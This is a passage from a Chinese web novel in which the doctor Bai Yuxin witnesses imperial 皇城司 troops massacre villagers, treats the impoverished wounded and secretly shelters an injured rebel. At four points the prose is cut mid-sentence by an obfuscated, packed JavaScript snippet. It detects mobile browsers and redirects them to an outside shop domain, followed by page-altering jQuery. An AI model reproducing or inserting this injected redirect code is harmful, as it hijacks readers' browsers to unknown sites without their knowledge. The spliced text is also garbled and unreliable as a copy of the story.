“是皇城司,皇城来的兵,他们是来要命的!羽歆姐,我们怎么办。”柳翠一下子激动起来。 柳翠虽然激动,却也知道压低声音。 她从前就听说过“皇城司”这个臭名昭著的名号,忽然一下出现在她的生活里,吓得柳翠不知怎样才好了。 白羽歆的头一阵刺痛,原主那些不愉快的回忆在她脑袋里恢复存在感。皇城司奉当朝皇帝宴崇的命,收忠君捐。有很多交不起忠君捐的人,要么被掳走当苦力,要么充奴,老的小的就直接杀了。 大脑一阵又一阵的刺痛还在加剧,原主的记忆和此刻重叠,可她却无能为力。 她的视线在人群中寻找柳翠的父母,却惊讶地看到他们居然在将要被处决的人群里。 一个看上去领头模样的皇城司对看上去新人模样的人说道:“你,过来,择日不如撞日,今天就锻炼一下胆量。” 新人模样的皇城司看上去很胆怯,领头人恨铁不成钢,踹了他一脚,然后从新人的腰间拔出刀,塞到他的手中。 “呸。”五花大绑的男人啐了一口,“胡作非为的狗东西,我不怕你,老子就是做鬼也不放过你们!” 新人脸上露出被羞辱的神色,然而他犹豫着,始终不敢动手。 皇城司们哈哈大笑,有几个人撺掇那个新人动手。 “快动手啊,等什么呢?” “哈哈哈,他不会真怕了吧。” “连个乡野村夫都害怕,真是我们皇城司的耻辱!” 兴许是被这些话语刺激到了,那人握紧佩刀,猛地冲上前去。 被刺了一刀,男人激烈的挣扎起来。见他没死,那皇城司又连刺好几刀。 男人的眼睛猛地瞪大,然后脑袋无力的垂下。鲜血从腹部滴落在地上,像一滴滴带血的泪。 直到男人的头再也不会抬起来,皇城司才住手。他用死去男人的衣摆擦了擦佩刀,刀回到刀鞘里,他颇为嫌弃地甩开男人的尸体。 “你做的很好。”皇城司领队拍了拍他的肩膀。他回到队伍里,听见同僚的赞扬,脸上写满骄傲。 发生的这一切被柳翠看在眼里,她恶心的几乎要吐出来。白羽歆虽然承受能力比柳翠好一点,但表情同样苍白。 “现在,你们可以随意活动了!” 领队一声令下,皇城司瞬间像嗅到腥味的野兽,拔出佩刀冲入人群。一时间,哭喊声、求饶声、怒骂声不绝于耳。 然而,无论怎么求饶,他们都不会手下留情的。搜刮完整座村子,剩下的这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596113|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些村民于他们而言如同蝼蚁,再也没有利用价值。 一颗人头飞出去,正好落在白羽歆和柳翠藏身的地方前。柳翠吓了一跳,差点喊出声,白羽歆捂住她的嘴。 白羽歆感到手上一阵润湿,低下头,却看见柳翠泪流了满脸。 “小翠,你怎么了?”见柳翠不说话,像是被吓懵了,白羽歆晃了晃她的肩膀。 柳翠抱住白羽歆,她一时说不出话,指着那颗人头。目光触及到人头时,白羽歆的眼睛像是被灼烧般刺痛,然后流下了泪。 她看到,柳翠父亲的头颅,躺在那里,瞪大的双眼写满了不甘。 明明出门时还好好的人,当时还笑着和她们告别,却不想,再度见面竟会是这副模样。 饶是再怎么克制哭声,还是瞒不过耳朵尖的一位皇城司。 “什么声音?” 此话一出,在场所有皇城司警惕了起来。 “大人,不妨让我们在此处探查一下。”几个皇城司对领队说。 白羽歆心头一紧,想着要不要立刻带着柳翠跑。 还不等领队下令,远处一个同样身穿暗红色衣服的皇城司跑了过来。他凑到领队耳边说了句话。 “不好了……反抗军……的身影……刁民……我们……” 白羽歆离得不近,对方又压低了声音,她只能听到这几个词。还没来得及思索,就看见领队脸色一变,几乎是立刻,皇城司就整理好队伍,浩浩荡荡去了别处。 见皇城司走的远了,白羽歆才跌坐下来,她腿都软了,一时间使不上力气。 柳翠却站起身来,步伐僵硬而坚决地往前走着。 “小翠!”白羽歆喊她,她却像没听见一样继续往前走。柳翠忽然停下,蹲在地上,抱住她父亲的头颅。 她用袖子擦着她父亲的脸,但鲜血泥土糊了一脸,哪里是那么容易擦干净的。可柳翠无知无觉,只是机械重复这个动作。 直到那张脸在柳翠眼里干净了一点,她才终于满意。然后她怀抱着父亲的头颅,走向村落。 白羽歆亦步亦趋地跟在柳翠身后,生怕她做什么傻事。可柳翠没有,她在满地倒下的人里寻找她的母亲。 柳翠拨开每个女性的头发,遇见脸上有血的,就擦干净她的脸。见这个不是她母亲,她就轻轻将尸体平放在地上,然后去看下一个人。 白羽歆递来一张手帕,让柳翠用这个擦脸。她也帮忙寻找张婶,每见到一具尸体,她都觉得触目惊心。 柳翠在自家房子附近找到了母亲,她没有哭,她只是很疑惑。 她不明白,明明父亲母亲辛勤一生,为什么落得这样的下场。 为什么皇城司为非作歹、嚣张跋扈,却是“奉皇命而为”? 这种疑惑胜过了鄙夷,胜过了愤怒,胜过了忧伤。她不明白为什么这份厄运降临在她身上,她什么都不明白,只是呆呆的愣在原地。 直到白羽歆揽住她的肩膀,柳翠才恍然发觉泪水流了满脸,落在地上,润湿了土地。 这片见证她出生、长大,此刻却布满鲜血的土地。 5. 第 5 章 “白姑娘,采完药回来了?” 天才蒙蒙亮,白羽歆来到集市,路上就有不少人和她打招呼。 “回来啦,马上就可以出诊。”白羽歆笑着回应。 她在临近集市的地方租了个小店面,用的是来自之前行医挣出来的钱,不过即使拿出全部家当,也付不起店面的租金。白羽歆心一横,将原主之前逃难时身上的金银珠宝都送去当铺换钱了。 柳翠知道以后闷闷的:“羽歆姐,连累你了,连簪子都没留一个。” 白羽歆发间挽着木头发簪,却觉得没什么。乱世之中,要是戴着原主的首饰,恐怕会引出什么事端。 “没什么,钱财乃身外之物。只要我们努力,还能赚回来的。”白羽歆安慰她。 皇城司来到景州,不少百姓遭了灾。没钱医治的病人都来找白羽歆,导致她每天诊治的病人比之前翻了两倍。 柳翠经过这段时日的磨练,整个人瘦了一圈,也没有之前那样活泼了。 那日皇城司屠了整个村子,柳翠找到父母的尸骨,连同白羽歆一起挖了个大坑,将村民的尸体尽数掩埋。他们哪一个不是看着柳翠长大的,哪一个不是至亲的人。柳翠不愿他们的尸骨曝尸在外,只能将他们埋到一起了。 将父母下葬时,柳翠念叨着,一定要让那群为非作歹的人付出代价。白羽歆看在眼里,记在心里。 不少人被掠走家财,只得上大街上乞讨,有的人甚至干起了抢劫的勾当。景州一时间人心惶惶,百姓都不知道怎么办才好了。 偶尔有好心的大户人家小姐施州,可着对于举目皆是的难民来说不过是湖中水,泥中沙,根本无济于事。 白羽歆长叹一口气,不知不觉已经走到了药铺前。 药铺附近围了一圈人,白羽歆拨开人群走过去,看到几个大汉用木板抬着一个人。那人的衣服都快成了碎布,露出来的身体遍布伤痕。 一个中年女人——白羽歆猜测应该是伤者的妻子,见她来了抹着泪,说道:“白大夫,求求你救救我家男人。” 白羽歆一听就知道怎么回事,让大汉们先把木板平放在地,然后蹲下来查看男人的伤口。 男人身上皮开肉绽,伤口大面积红肿、化脓,看起来非常可怕。他看起来已经神志不清了,还有些发烧。 “你说这日子还怎么过呀,我家那口子就是舍不得那几两银子,抱着不撒手,结果那群人……他们直接把他拖出去用棍子打,打尽兴了才走。”女人抽泣起来,“这下好了,钱也没了,我男人还丢了半条命,还让我们怎么活啊。” 白羽歆拿出药草止血,然后煎熟了蒲公英来清洗发炎的伤口。 该说不说,他们运气已经很好了。以白羽歆的所见所闻来看,在那种情况下,一不小心就会和柳家村的人一个下场。 处理完伤口,又叮嘱了几句,大汉们又将受伤的男人抬回去。男人神志还是不怎么清晰,痛苦地呻吟着。 “羽歆姐,”见他们走远了,柳翠悄悄扯着白羽歆的袖子,“你说那个人伤成这样了,还能活吗?” 白羽歆也说不好,在古代这个条件,以他的病情,一不小心就会感染而亡。 她轻轻叹了口气。 “我希望他能活下来。” 刚忙完上一个病人,又有人请她上门诊治。 “白大夫,不知您有没有空,我想请您去看看我妻子的病。”怕她不同意,黝黑皮肤的男人从袖口哆哆嗦嗦摸出几枚铜钱,“我有钱,白大夫,不知道够不够,求求您……” “没关系,我是随缘收取诊金。你妻子生的什么病,我好带上对应的药。”皇城司四处搜刮民脂民膏,众生皆苦,她又怎么好收如此贫苦的人为数不多的钱呢。 离她平时药铺开门的时间还早,白羽歆想着去一趟也无妨。 那男人搓了搓手:“前几天京城来的大官们找我们收什么忠君捐,闹的动静可大了。我们想着要是人来了,钱拿走就拿走吧,只要不挨揍就行。听说大官来了,我和妻子早早就到外面等着,结果大官骑的马横冲直撞,直接把我妻子踢飞出去。” 越说那男人声音越颤抖:“我妻子前天还强撑着干活,昨天直接瘫在床上,下不了地。我想着要去看郎中,结果永安堂的人看我的衣服破,直接把我打出去。我实在没办法了,这才找上白大夫您。” 白羽歆一听头都大了,她在药铺里四处找工具,东拼西凑了一套简易版护具。她叮嘱柳翠看店,这才拎着重重的药箱跟着男人走。 见到那个卧病在床的女人,白羽歆一阵揪心。房屋破落不堪,女人蜷缩在一张小床上,见白羽歆进来,脸上竟露出惶恐不安的神情。 白羽歆用木头和布条为女人固定住骨折的腿,又外敷活血化瘀的草药。处理过女人身上的淤青过后,房子里进来一个小孩。 小孩一进来就扑向妈妈,嚷嚷着饿了,要吃东西。女人无助地摇摇头,小孩饿得大哭。 白羽歆想到了什么,翻了翻随身的口袋,将买了还没吃的饼子递给小孩。小孩咬了一口,然后对她露出笑容。 女人不好意思地向她道谢,白羽歆摇摇头:“没什么。” 离开时,还能听见屋子里传来的叹息。 “再这样下去,日子可怎么过啊。” 是啊,如果皇帝再放任不管的话……不对,这一切本就是他下令做的。到处搜刮民脂民膏,百姓该如何过活。 再这样下去,恐怕白羽歆也没有容身之处。好不容易找到了栖身之所,结果收留她的人就死在她的眼下。 之前发生的一切历历在目。抱着医药箱,白羽歆蹲下身子,眼中蓄着泪水,模糊了视线。 一只骨节分明的手出现在她的视线里。 “擦擦眼泪吧。”那人说。 白羽歆惊讶地抬起头,却看到前几日刚处置完永安堂找麻烦的那行人的知县厉玦。 对方递给她一块手帕,上面还绣着精致的纹样,做工精巧。就这么拿给她擦眼泪了? “拿着吧,又不是什么金银财宝,没什么可宝贝的。”对方见她的表情,贴心地补充了一句。 这个厉玦像有读心术一样……白羽歆莫名有种被偷听心声的心虚感。见她接过手帕,厉玦打了个招呼:“许久未见,看来姑娘也有一些难事。” 胡乱擦去眼泪后,她才想起来询问:“请问厉大人来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596114|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里所为何事?” 她依稀记得县衙距离这个集市虽然不是很远,但也不是散步就能走到的距离。 问出这个问题后,白羽歆又觉得自己是不是有些唐突了,毕竟别人去哪里、干什么,好像也和她没什么关系。 厉玦脸上倒是没有被冒犯的神色,他对白羽歆温和地笑了笑,随即又严肃起来,目光不断从受伤的民众掠过。 “我本想看看人间百态,看看……风水人情。” 风水人情是看不到了,她想,人们连活着都成问题。 “那大人看到了什么?” 厉玦沉默了片刻,缓缓开口。 “一群挣扎求生的人。” 前不久,他在乡下亲眼目睹一个老人的田地因靠近官道,被皇城司勒索“占道费”。因为拿不出钱,皇城司就要强行牵走用来耕地的牛。老人就指望这头牛过活了,怎么舍得把牛交给他们。他死死抱住牛,哪怕被拳打脚踢也不放手。 厉玦上前阻止,皇城司听了他自爆身份,露出不屑的神情。 还是领头的人不想招惹是非,带着人走了。 临走前,领头的人轻蔑地对厉玦说:“知县大人真是爱民如子,真把自己当那些贱民的爹娘了,别忘了你真正要效忠的人可在紫禁城里坐着呢!” 厉玦虽然生气,却暂时没有应对之策。 即使是现在,厉玦还记得那老人抱着耕牛的哭泣声。 挣扎求生的人……白羽歆想起,就在昨日,她救了一个误食野果的孩子。那孩子睁开眼,第一句话却是:“姐姐,还有吃的吗?” 那孩子告诉她,她是故意吃下那些毒果子的。她在山间长大,怎么会不知那些果子是有毒的呢? 可是已经没有其他食物可以吃了。小孩发誓,就算死了,也要做一个饱死鬼。 白羽歆听了那些话五味杂陈,以往这些受灾情形只在历史书上见过,她第一次这么直观见到什么叫“挖草根啃树皮”。 “这世道,为什么会让年幼的孩子食不果腹?我每天为人们治病,却也知道,真正的病根不在他们身上。” 厉玦似乎有所触动:“是啊,医术再高超的大夫,也只能治身体上的病,可真正的病却在——” 他没有继续说下去,但手已经紧握成拳。 “我本应上报君恩,下济百姓。可如今亲眼目睹了百姓的苦难,我身为知县,却不能为他们做些什么。” 厉玦的坦诚让白羽歆很是意外,她原本以为官员总会说一些冠冕堂皇的话,可厉玦却意外的坦诚。 “至少大人您看见了,比起视而不见,已经要好得多了。” “大约是看见了,所以才倍感痛心吧。”厉玦忽然想起了什么,颇为抱歉地对白羽歆说:“突然对姑娘说了这么多,一定很唐突吧。” 厉玦将一个布袋递给白羽歆:“这是之前永安堂的伙计掀翻姑娘的药棚时造成的损失,正好交予姑娘。” 白羽歆打开布袋,发现里面是几锭银子。 “谢过大人了。” 白羽歆与厉玦告别,两人朝着相反的方向走。 等到白羽歆回到药铺时,药铺已经排满了人。 6. 第 6 章 若是不看街上失去家园四处流浪的流民,还以为生活真的重新平静下来了。 官员们派人安抚百姓,每日都有粥棚施粥,可路边饿死的人还是不计其数。 一个老妪捧着空碗,对上护卫的视线。 “没有了,明天再来吧。”护卫不耐烦地推搡她。可是哪里等得了明天? 白羽歆叹了口气,药铺人气最火热的那几天已经过去了,来找她的人逐渐萧条了起来。大部分人要么选择闭门不出,要么选择去往其他地方逃难。 可是皇城司很快就会遍布晟国大江南北,普天之下,逃无可逃,他们又能到哪里去呢? 她将柳翠打包好的药递给伤者,对方面带感激地离开了。 景州的皇城司驻扎在集市里,于是小小的集市也拼命展现它的繁华。熙攘声、叫卖声、车马声混杂,倒有几分生机勃勃的意味。然而摊贩的生意是热闹了,收入却不增反降。 一个小吃摊老板送走皇城司,愁眉苦脸起来。对方将糕点打包走了,但没有给哪怕一枚铜子。 见没人来药铺,白羽歆打算将药材收起来,却忽然听到一声巨响。人群短暂安静了几秒,紧接着爆发出撕心裂肺的尖叫。 “杀人了——” “快跑!” 白羽歆将视线投向声源处,只见人群拼命从那个地方四散奔逃。一群穿着破衣烂衫但手持兵刃的汉子与身穿暗红色衣服、手持佩刀的皇城司战斗。 皇城司的人装备齐全,又训练有素,对方显然不是他们的对手。刀光剑影间鲜血飞溅,繁华的集市瞬间变得如同屠宰场一般。 还没来得及逃跑的摊贩躲避不及,被撞翻在地,商品散落一地。孩童的哭声掺杂在嘈杂纷乱的声音中,又被好心人抱走,远离这不安宁的地方。 白羽歆看到,皇城司连着刺了一个大汉数刀,然后砍下他的头颅。鲜血撒了一地,仿佛都能闻到血腥味。 “愣着干什么,快进来!” 感受到肩膀传来的痛,白羽歆被人猛地拉进药铺。她定了定神,却看见柳翠焦急的神情。 柳翠脸色煞白,但没忘记锁门。直到听到落锁的声音,白羽歆才从惊吓中缓过神来。 她走到窗户附近,那双充满恐惧的眼睛向外窥视着。 她看到,一个汉子为了掩护同伴,硬生生接下了皇城司劈向同伴的刀。腹部破开,肠子都流了出来,却依旧死死挡在同伴面前。 那个皇城司不耐烦地踢开汉子,手上的刀刺向另一个人,毫不留情。就仿佛在他眼里,杀掉的不是人而是什么花草树木。 实力差距太大,对面寡不敌众,很快败下阵来。才短短十几分钟,就只剩下零星几个人。 柳翠皱起眉毛,一脸不安:“姐姐,你说他们能逃的掉吗?” 白羽歆也不知道,但她希望对面能逃掉。 对面仿佛不要命一般厮打,最终打出一个缺口。几个幸存者带着伤,迅速消失在众人视野里。 皇城司见状,立马追了上去。 街面瞬间空了。刚才还躲起来的摊贩、行人从不知哪里钻了出来,集市又恢复了活力。 只是满地的尸体和淋漓的鲜血明晃晃的提醒大家,这里刚刚发生了一场恶战。还未散去的血腥气压得人喘不过气,白羽歆只感到一阵恶心反胃。 有几个皇城司折返回来,看样子是一无所获。 过了一会儿,皇城司突然将众人集结到集市中心。 “他们要干什么?不会是人没抓住,拿我们开刀吧?”柳翠小声对白羽歆说。 白羽歆拍了拍柳翠的肩膀以示安慰:“没事的,没事的。” 她自己心里也没底,但还是强撑着。柳翠已经足够恐惧,她不能也表现出害怕。 领头的皇城司见人来了,冰冷的目光扫视众人,提高的音量: “你们听着——有胆敢隐匿、救助叛贼者,以同谋论处,格杀勿论!知情不报者,一并连坐!” 声音传遍整条街道,人群死寂般沉静。 接下来的几天,景州表面恢复了秩序,但当天的惨状刻在每个人的心底。 她在几个当时的目击者口中拼凑出事情发生的原因。 早在数月前,就有人因对“忠君捐”不满,共同抵抗。后来皇城司越来越过分,对朝廷不满的人越来越多,队伍也就不断壮大。 在官方的通报里,这些人叫做“反抗军”。 皇帝对反抗军的存在很不满,令皇城司清剿反抗军,他们已经交手多次。前几日的事也是因为皇城司发现了藏匿在集市内的反抗军,虽然人数不多,但反抗军决定殊死一搏。 于是,一桩惨案就这么发生了。 白羽歆的药铺照常开着,但是来的人越来越少了。若是因为百姓各个身体康健就好了,可事与愿违。 虽然白天的时候还好,但在夜晚,白羽歆总能想起皇城司对村民和反抗军的杀戮。 每次想起亲眼目睹的那些尸体,还有那带着不屈和愤慨的眼神,白羽歆就夜不能寐,睡着了也总是被惊醒。 柳翠担忧白羽歆,她们同样失去了家人,在一起相依为命,总想着替对方分忧。白羽歆总是逞强,她不愿让柳翠过于担心。但她越是这样,柳翠就越是着急。 还没过几日,皇城司又派人登记集市的商户信息。有些人表现得战战兢兢,亲眼目睹过皇城司的暴行,没有人不怕。 很快就轮到白羽歆的药铺,负责登记的皇城司问过她和柳翠的名字,又特意叮嘱她们的药铺记得每天开门,能服务于皇城司是她们的荣幸。 临走时,皇城司又将药铺里的药材席卷一空。 待他们走远了,柳翠愤愤不平地说道:“什么东西都要抢,有完没完!” 白羽歆也很无奈,皇城司一向蛮横霸道,可她们又有什么办法。 可是开药铺又不能没有药材,天色还早,白羽歆决定去挖点药材。 柳翠很担心:“羽歆姐,现在太乱了,不安全吧。” 白羽歆安慰她,皇城司现在都集中在城里,而且她就去附近的山上,在天黑之后就回来。 她叮嘱柳翠看店,保护好自己。 柳翠依依不舍地和白羽歆分别,其实柳翠也不过是个十二三岁的孩子,却在短短几个月就被迫成长了许多。 来到山上,白羽歆看到原先好好长着的药草都被糟蹋得不成样子。有的被连根拔起又被丢弃在原地,还有的被马蹄和人随意踩踏。 白羽歆本以为皇城司只喜欢搜刮银两,却没想到他们连山间野草也不放过。难道这些药草能卖很多钱吗?真的值钱的话早就被拔光了吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596115|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景州的草药虽不比洛川,但对于皇城司来说大抵算得上新鲜玩意。不过他们竟这般不加爱惜草药,还大肆损毁,白羽歆有些愤怒。 她从一地狼藉中勉强找到几株完好的药草,却在草丛中看见一只人手。 白羽歆被吓了一跳,险些尖叫起来。 她忍着没出声,却看到断手的鲜血一直延伸到山的另一边。 从这边望下去,满地皆是人骨。 她用枯枝落叶将尸体掩埋,好让他们不至于曝尸荒野。 — “能为皇城司做事是你们的荣誉~”被掠夺了几乎全部水果的商户学着皇城司的语气,把相邻的几家商户都逗笑了。 柳翠听见也跟着笑起来,又警惕地打量四周,生怕皇城司鬼魂般冒出来。 忽然,一阵纷乱的响动传入柳翠的耳中。 “大人!大人饶了我吧。小的真的医术有限,怎么敢在皇帝面前班门弄斧啊!”一个山羊胡子的男人被健壮的皇城司拖在地上,奋勇挣扎着,布满沟壑的脸上写满恐惧。 “皇帝?” 耳尖的人听见这两个字,瞬间如同被雷劈过一般,不知作何反应才好了。 远在紫禁城的九五之尊,和这小小的集市有何关联? 柳翠一眼就认出,那山羊胡须的男人不就是之前带着一群人来药棚找茬的人吗?据说是永安堂的大夫?大夫去见皇帝,不用想就知道是要去做什么。可皇帝生病了吗?难道身边的御医还不能解决他的病症吗?难道是疑难杂症? 说起来,皇城司除了搜刮财物和生活用品以外,还到她们的药铺拿走不少药呢。 之前柳翠以为有皇城司受伤,药是拿去用的,可左看右看,皇城司们明明都好好的…… 一时间,柳翠的脑袋里塞满了问题。理智告诉她,这些问题的答案就在其中,明白这是怎么一回事,就能明白皇城司的行为了。 见山羊胡须的男人不安分地挣扎着,一个皇城司一脚踢在他的膝窝处,男人吃痛,跪了下去。另一个皇城司见状大笑起来,掏出佩刀架在他的脖子上。 “老实点!再不听话,小心老子砍了你的脑袋!” 男人不再挣扎,皇城司们压着他招摇过市,见有人好奇地打量他们,皇城司还破口大骂顺带威胁了几句。 商户们立刻作出缩头乌龟的样子,却在皇城司走远后继续议论纷纷。 柳翠陷入自己的思考中,咬紧了下唇。 — 虽然想着一定要在天黑前回来,但白羽歆还是回来晚了。 没办法,山上药草毁坏得差不多了,白羽歆一边在心里唾骂,一边往更远的地方走,不知不觉回来就这个时候了。 白羽歆抱紧小筐,不安地走着,甚至为了更快,抄了近路。 反正有皇城司在,大路和小路一样危险。 她不合时宜地想起了小时候听过的鬼故事,什么专门在晚上出没的怪物啊……房门外的鬼啊…… 不知是不是自己吓自己,白羽歆甚至听见了衣料摩擦的声音。 她拼命告诉自己是错觉,随即加快脚步。 忽然,一只手抓住白羽歆的衣角。 理智在此刻崩盘,白羽歆发出一声尖叫,却听见一个气若游丝的声音。 “求你,救救我……” 7. 第 7 章 眼见天色已经黑了,白羽歆还没回来,柳翠急得团团转。她坐立不安,想着不如出门去找找,却听到大门处有什么动静。 门“吱呀”一声开了,白羽歆脸色发白,柳翠想问些什么,白羽歆却做了个噤声的手势。 待柳翠离近了才发现门后还倚靠着一个中年男人,看上去非常虚弱,身上流了很多血。 “羽歆姐,这是怎么回事?” 白羽歆摇摇头,示意柳翠帮忙,两人架着男人,将他安排到旁屋去。 白羽歆当初选择租下这个地方,主要是因为地点离集市近,来回比较方便。除了主屋外,还有两间旁屋,院子大得空旷。 将一整个院子租给她的人说,要不是因为赶着去逃难,怎么会舍得把这么好的地方低价租出去。 现在看来,离集市太近也不是什么好事。 白羽歆简单清理了伤口,至于那些伤及骨头的地方,她也爱莫能助。 男人撑着一口气跟白羽歆走到这里,刚躺在床上就昏了过去,就连白羽歆按压伤口判断伤势都无知无觉。 柳翠看到,他的身上有刀伤。 “他是反抗军的人?” 白羽歆却没有半分惊讶。 “是。” 当时,中年男人拉着她的衣角,说他知道她是这里有名的医生。他去找别人帮忙,其他人都怕惹上祸端,吃了闭门羹。 白羽歆心说她也害怕。 当初皇城司把大家聚集在一起说的话还在她耳边回响,有人担心掉脑袋,选择明哲保身也是很正常的事。 只是…… 她瞥了一眼男人,昏暗的环境下什么都看不清,但她能感受到对方非常虚弱。如果她也不救他,恐怕就只有死路一条了。 前世的白羽歆是哪怕深更半夜,室友身体不舒服也会陪她去医院的人,自然不会见死不救。 她叹了一口气。 “请跟我来吧。” 将发生的一切都给柳翠讲清后,柳翠也跟着叹息。 虽然人是救回来了,可这里离集市很近,距离皇城司驻扎的地方就更近了。皇城司来来往往,万一被发现的话…… 她不怕皇城司,万一被发现私藏反抗军,大不了就是一死。反正父母亲人都死在他们刀下,就当是一家人团聚了。 可她不想白羽歆死,经过这短短一个月的相处,柳翠已然将白羽歆当作自己的亲姐姐看待。 在这诡异的沉默中,床上的男人忽然睁开了眼睛。他强撑着坐起来,牵扯到腹部的伤,痛的呲牙咧嘴。 “哎,别乱动!我才刚包扎好伤口。”白羽歆一看男人包扎伤口的布条渗出血,吓得连忙拦住他的动作。 男人被白羽歆摁着躺回去,好不容易将那疼痛缓过去,额角渗出冷汗。 “你,叫什么名字,从哪来的……我可告诉你,现在你的处境很危险,皇城司到处都在找反抗军!”柳翠抛出一连串的问题,让对面的男人有些招架不住。 柳翠问的也是白羽歆想知道的。现在皇城司提高了搜查的频率,反抗军平时是怎么隐藏的,是否还有其他人和这个男人一样身受重伤等着医治。 他沉默片刻,按顺序回答了柳翠的问题。 男人叫做刘进,原本住在一个普通的小村庄里,每天种地,偶尔采摘野果,上山砍柴。妻子心灵手巧,织的一手好布。女儿活泼聪慧,刘进听村里人的建议送女儿上了女子学堂,一家人日子过得平淡幸福。 直到皇城司宛如蝗虫过境一般席卷了这个小村庄,烧杀劫掠,无恶不作。哪怕将全部的钱财给了他们,依旧难逃一死。 当时刘进正和妻子上山采果子,这才免于一死,女儿也在学堂里,他们一家三口侥幸活了下来。 刘进和妻子带着女儿进城,每天都去粥棚排队领粥,可日子长了,也不再有人施粥了。 就在他们快要饿死的时候,反抗军的人出现了。 他们有了食物,有了住所,一切都像是在做梦。听其他人说,反抗军的领头人不在景州,可以追溯到京城。那个人很神秘,自景州的反抗军成形起便只听闻有这号人,却从来没人见过。 反抗军要想活动,必然是要有经费的,对方也从不含糊,传递指令时总是送上银两财物。 能给反抗军提供经费,刘进心想,不会是哪个王爷要造反吧? 好景不长,位于景州的反抗军被皇城司发现了,双方在集市发生恶战,反抗军的据点也被端了。 刘进的妻子女儿跟着前一批反抗军离开了,刘进运气不好,逃走后景州出口已经被封锁。他东躲西藏,幸好遇见白羽歆这个名医,捡回一条命。如果再多流浪几天,不知道被皇城司发现和伤口恶化死亡哪个先到来。 白羽歆若有所思,叮嘱了一句“好好休息”,就和柳翠一同离开了。她小心地锁上大门,确保安全后才回到自己的那间屋子。 刚进门,就听柳翠说道:“姐姐,今天你不在的时候,我看到永安堂的那个大夫被皇城司拖走了。” 白羽歆警觉起来:“是要去给皇城司治病吗?” 柳翠摇头:“不是,我听到他说自己医术有限,不敢在皇帝面前班门弄斧。” 皇帝? 皇城司要把永安堂的坐堂大夫送到皇帝那里去? 皇帝身边难道没有太医吗? 还是说有什么病症是连太医都无能为力的。 白羽歆这么思索着,脑海里逐渐有了一个成型的计划。 她面上不显,仍然每日按时去药铺接诊,但除了每天挑挑拣拣拿走一些药材的皇城司以外,已经没有患者了。 “这是什么?”皇城司捻起一个药材,问白羽歆。 “回大人,是黄芪,有延年益寿的功效。”白羽歆回答道。 本以为只是很平常的一句话,可那皇城司眼睛却亮了。 他将全部的黄芪都拿走,嘴里还念叨着:“太好了,可以交差了。” 柳翠见皇城司又拿走了不少药材,气得小声唾骂。 白羽歆皱了皱眉头,她只是说了一句“有延年益寿的功效”而已,为什么那么激动。 对了……延年益寿! 白羽歆恍然想起,在原主的记忆里,有一段时间原主的父亲购入大量拥有强身健体、祛病延年的药物。 她隐隐绰绰觉得这和白家被抄家有关联。 正思索着,突然,一个老人的声音在她耳边响起,在偌大的集市里显得有些不真切。 “念儿,你在哪里呀?念儿……” 一个老婆婆颤颤巍巍拄着拐杖,另一只手不知何时抚上白羽歆的脸。白羽歆吓得直往后退,连忙说道:“奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16596116|187461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶,您认错人了吧,我不是您要找的人。” “瞎眼婆子,来这里干什么,真晦气!”一个上了年纪的男人对着老婆婆怒骂。 另一个商户也面色不善:“没事找什么找,你家念儿早死了!” 柳翠看不下去,出声制止:“话可不能这么说吧,嘴上不知道积点德吗?” 白羽歆询问老婆婆:“发生什么事了吗?我没准可以帮您。” 老婆婆像是没听见她说的话一样,身体僵硬且麻木地向前走着,嘴里依然不停念叨着。 “念儿。” “念儿啊,娘想你了。” “什么时候回家,娘等你六年了。” 她一边说着,一边用手摸身边人的脸,旁边人避之不及,纷纷用嫌恶的眼神看着她。 白羽歆这才发觉,老婆婆好像看不见。 见没有客人,旁边的商户闲不住,绘声绘色地讲述起来老婆婆的事情。 在成为“瞎眼婆子”之前,人们都叫她孙大娘。 孙大娘中年时不幸丧夫,和女儿赵念儿相依为命,女儿勤快又能干活,母女两人在一起日子过得倒也不错。 随着年龄的增长,赵念儿出落得越发漂亮了,临近的不少男子都上门提亲,其中不乏大户人家。 